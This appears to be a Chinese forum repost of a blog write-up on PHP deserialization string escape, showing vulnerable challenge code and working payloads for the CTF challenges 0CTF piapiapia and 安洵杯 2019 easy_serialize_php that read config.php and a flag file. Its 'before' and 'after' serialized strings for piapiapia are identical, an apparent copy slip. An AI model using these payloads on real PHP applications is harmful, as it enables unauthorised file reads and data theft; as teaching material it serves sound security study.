第四纪冰川 發表於 2020-7-19 09:55:00

PHP反序列化字符逃逸

<p>要学习反序列化字符串逃逸之前,我们需要知道php反序列化的几大特性。</p>
<blockquote>
<p>1.PHP 在反序列化时,底层代码是以 <code>;</code> 作为字段的分隔,以 <code>}</code> 作为结尾(字符串除外),并且是根据长度判断内容的 .</p>
</blockquote>
<blockquote>
<p>2.当长度不对应的时候会出现报错</p>
</blockquote>
<blockquote>
<p>3.可以反序列化类中不存在的元素</p>
</blockquote>
<h1 id="反序列化字符串逃逸">反序列化字符串逃逸</h1>
<pre><code> 1.过滤后字符变多
2.过滤后字符变少
</code></pre>
<h2 id="过滤后字符变多">过滤后字符变多</h2>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200718151427959-1685602252.png" alt="" loading="lazy"></p>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200718151433051-283596225.png" alt="" loading="lazy"></p>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200718151832105-1691556067.png" alt="" loading="lazy"></p>
<p>当我们传入?name =npfsx 时,由于溢出,反序列化失败,这个时候我们就可以利用这里的溢出,构造注入,实现字符串逃逸</p>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200718153338091-474830163.png" alt="" loading="lazy"></p>
<p>其实总的来说就是因为执行text函数将一个字符(x),替换成两个字符 (66), 使字符串膨胀,造成了之后的序列化中,多出来的这些字符抢占了本属于<code>";i:1;s:6:"hacker";}</code>的位子,使其溢出,而我们要做的就是使溢出的这部分在闭合前一字符串的同时,符合php反序列化规则,能够被成功反序列化</p>
<p>所以<code>";i:1;s:6:"hacker";}</code>这一部分前面的字符<code>";</code>就是我们用来闭合前面字符串的,这样剩下的<code>i:1;s:6:"hacker"</code>这一部分符合反序列化规则,最后的<code>;}</code>是用来闭合反序列化全过程的,这样原来的<code>";i:1;s:14:"hello everyone";}</code>就会被舍弃,而不影响反序列化过程</p>
<hr>
<h2 id="过滤后字符变少">过滤后字符变少</h2>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200718165727903-97425900.png" alt="" loading="lazy"></p>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200718165735991-1866837246.png" alt="" loading="lazy"></p>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200718185116566-302920180.png" alt="" loading="lazy"></p>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200718190245703-2055613326.png" alt="" loading="lazy"></p>
<p>总的来说就是由于缩水,导致前面的字符被吃掉了,所以执行了我们后面构造的代码</p>
<hr>
<h1 id="0ctf-piapiapia"><strong>0CTF piapiapia</strong></h1>
<p>使其主要的代码就四部分</p>
<p>先拿seay审下(第一次用,发现真是神器啊2333)</p>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200719084118748-979952068.png" alt="" loading="lazy"></p>
<p>可以发现config.php里有个flag<br>
<img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200719084353665-517839443.png" alt="" loading="lazy"></p>
<p>我们在register.php页面注册,在index.php页面登入之后,来到update.php页面,我们可以看到这个页面是一个文件上传页面,结合seay,审计代码,发现这里有一个序列化的过程,同时在序列化之前会对我们输入的Phone、Email、Nickname、Photo进行正则匹配(phone要类似于11位数组的构造,email要类似于123@qq.com这样邮箱的构造,这两种都是不符合则die,而Nickname恰恰相反,它是如果匹配到非字符数字下划线或者长度超过10则die,这里可以用数组绕过)</p>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200719085524016-1382762106.png" alt="" loading="lazy"></p>
<p>这里有个update_profile函数,我们追溯看看</p>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200719091128327-1288852734.png" alt="" loading="lazy"></p>
<p>可以发现里面有个filter函数,继续追溯</p>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200719091320829-271865229.png" alt="" loading="lazy"></p>
<p>通过审计发现会将字符串中的<code>\</code>和<code>\\\\</code>        替换成下划线,也会将部分字符替换成hacker,这里细心点可以发现这些字符串里面只有where是5位的,其他都是6位的</p>
<hr>
<p>回到update.php页面,尝试上传文件,来到了profile.php页面,审计代码,发现这里有个反序列化操作,还有一个文件读取操作</p>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200719084954560-1892489391.png" alt="" loading="lazy"></p>
<p>其实看到这里,大概思路应该就有了,flag在config.php中,我们在上传页面参数被序列化,再经历一系列替换之后,再进行反序列化,同时还有文件读取</p>
<p>php反序列化字符串逃逸的常见套路,我们可以将config.php作为逃逸字符串,经过一系列变化后,读取出来</p>
<p>最终payload</p>
<pre><code>nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/1999159/202007/1999159-20200719092403372-1993290283.png" alt="" loading="lazy"></p>
<p>上传后来到profile.php页面,读取源码,base64解密,即可得到flag</p>
<p>这里为什么要构造nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}其实如果看懂我上面写的<code>过滤后字符变多</code>这一模块后是很好理解的</p>
<p>filter函数会将where替换成hacker,字符数增加1,字符串膨胀</p>
<blockquote>
<p>";}s:5:"photo";s:10:"config.php";}</p>
</blockquote>
<p>这一部分一共34个字符,这也就以为这当我们构造34个where时,当where被替换成hacker之后,会多出34个字符,使得";}s:5:"photo";s:10:"config.php";}被向后推,从而替代了photo的序列化结果</p>
<p><strong>替换前</strong></p>
<pre><code>a:4{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
</code></pre>
<p><strong>替换后</strong></p>
<pre><code>a:4{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
</code></pre>
<h2 id="安洵杯-2019easy_serialize_php"><strong>[安洵杯 2019]easy_serialize_php</strong></h2>
<p>这一题考察的是过滤后字符变少</p>
<pre><code> &lt;?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '&lt;a href="index.php?f=highlight_file"&gt;source_code&lt;/a&gt;';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
</code></pre>
<p>具体过程我就不写了,参考上文<code>过滤后字符变少</code>板块,</p>
<p>本地测试脚本如下:</p>
<pre><code>&lt;?php

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$_SESSION["user"] = 'L2QwZzNfZmxsbGxsbGFn';
$_SESSION['function'] ='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:2:"ss";}';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$serialize_info = filter(serialize($_SESSION));
echo $serialize_info;
$userinfo = unserialize($serialize_info);
?&gt;

</code></pre>
<p>payload:</p>
<blockquote>
<p>GET   ?f=show_image</p>
</blockquote>
<blockquote>
<p>POST SESSION=flagflagflagflagflagflag&amp;_SESSION=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:2:"ss";}</p>
</blockquote>
<p>查看源码,$flag = 'flag in /d0g3_fllllllag';</p>
<p>所以构造</p>
<p>payload</p>
<blockquote>
<p>GET?f=show_image</p>
</blockquote>
<blockquote>
<p>POST   SESSION=flagflagflagflagflagflag&amp;_SESSION=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:2:"ss";}</p>
</blockquote>
<p>得到flag</p><br><br>
来源:https://www.cnblogs.com/NPFS/p/13338789.html
頁: [1]
查看完整版本: PHP反序列化字符逃逸